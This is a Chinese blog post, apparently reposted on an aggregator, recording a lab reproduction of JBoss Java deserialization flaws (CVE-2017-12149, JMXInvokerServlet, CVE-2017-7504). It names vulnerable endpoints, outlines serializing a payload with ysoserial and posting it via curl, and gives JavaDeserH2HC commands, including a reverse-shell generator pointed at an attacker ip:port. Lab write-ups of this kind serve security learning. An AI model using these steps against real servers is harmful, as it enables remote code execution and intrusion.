JBOSS反序列化漏洞

Posted NOVASEC

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBOSS反序列化漏洞相关的知识,希望对你有一定的参考价值。

10月13日

简简单单的复现一个漏洞
JBOSS反序列化漏洞
0x00 起因 
因为当初说要把vulhub上面的漏洞都复现一遍,然后今天看内网的书又头疼,python也学不下去,打开vulhub,然后随便一滚鼠标滑轮,刚刚好遇见这个漏洞,那就复现学习一下

JBOSS反序列化漏洞

0x01 JBOSS                    

Jboss是一个基于J2EE开放源代码应用服务器 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1EJB 2.0EJB3的规范。但JBoss核心服务不包括支持servlet/JSPWEB容器,一般与TomcatJetty绑定使用



JBOSS反序列化漏洞
0x02 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

Jboss5.x/6.x版本,存在一个Java反序列化错误类型的漏洞漏洞存在于 Jboss HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

该漏洞存在的页面为:url/invoker/readonly


1、搭建靶场

         docker+vulhub

  访问存在漏洞的页面:url/invoker/readonly

  返回500则存在


JBOSS反序列化漏洞


2、编码需要执行的命令

    

查阅资料得知,jboss使用了Runtime.getRuntime().exec(),作用是调用命令脚本语言。

该方法不能使用bash等管道符方法,因此我们需要进行一次编码:

  编码网址:

http://www.jackson-t.ca/runtime-exec-payloads.html

JBOSS反序列化漏洞


3、ysoserial生成序列化数据

将我们的反弹shell通过ysoserial进行序列化

得到一个pco.ser


JBOSS反序列化漏洞


4、对存在问题的网页进行传参

    使用Curl命令直接传输


JBOSS反序列化漏洞


5、成功反弹shell


JBOSS反序列化漏洞


学习的时候发现,师傅们使用了另外一个工具包,javadeserh2hc,不用我们去编码执行的命令,自带反弹shell的方法。

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port



JBOSS反序列化漏洞
0x03  JBoss JMXInvokerServlet 反序列化漏洞

JMX是一个java的管理协议,在Jboss中的JMXInvokerServlet可以使用HTTP协议与其进行通话。这一通信功能依赖于java的序列化类


        1、搭建靶场

                docker+vulhub

                  略

        2、攻击方式

                和前一个是一样的,换url即可,直接上截图

    

JBOSS反序列化漏洞


JBOSS反序列化漏洞
0x04  CVE-2017-7504

JbossMQ实现过程的JMS over HTTP InvocationLayerHTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码

版本:Jboss AS 4.x及之前版本


1、搭建环境

    使用vulhub+docker搭建

    略

2、使用上面说的另外一个java反序列化工具JavaDeserH2HC试试

//生成一个ExampleCommonsCollections1WithHashMapjavac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java//使用ExampleCommonsCollections1WithHashMap将命令touch /tmp/successtiehh进行序列java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/successtiehh


生成一个ExampleCommonsCollections1WithHashMap.ser文件,然后执行curl传参

(有水印?不慌,个人小号)


JBOSS反序列化漏洞

JBOSS反序列化漏洞

JBOSS反序列化漏洞




JBOSS反序列化漏洞
0x04 总结
1、一两天花费一点认识一个洞,以后看见不会错过
2、如果你也在复现学习漏洞,过程有问题可以一起讨论
3、招亲,有意向留言,性别不卡死
0x05 其他 
如您 有任何问题、建议、需求请后台留言NOVASEC公众号
团队初创,热烈希望 现在以及未来的大佬们能够投稿支持!

以上是关于JBOSS反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

动手实验JBoss 反序列化漏洞

玩转漏洞JBOSS反序列化漏洞探索

CVE-2017-12149JBoss 反序列化漏洞利用

Jboss反序列化漏洞复现(CVE-2017-12149)

Jboss反序列化漏洞复现(CVE-2017-12149)

CVE-2017-7504CVE-2017-12149 JBOSS反序列化漏洞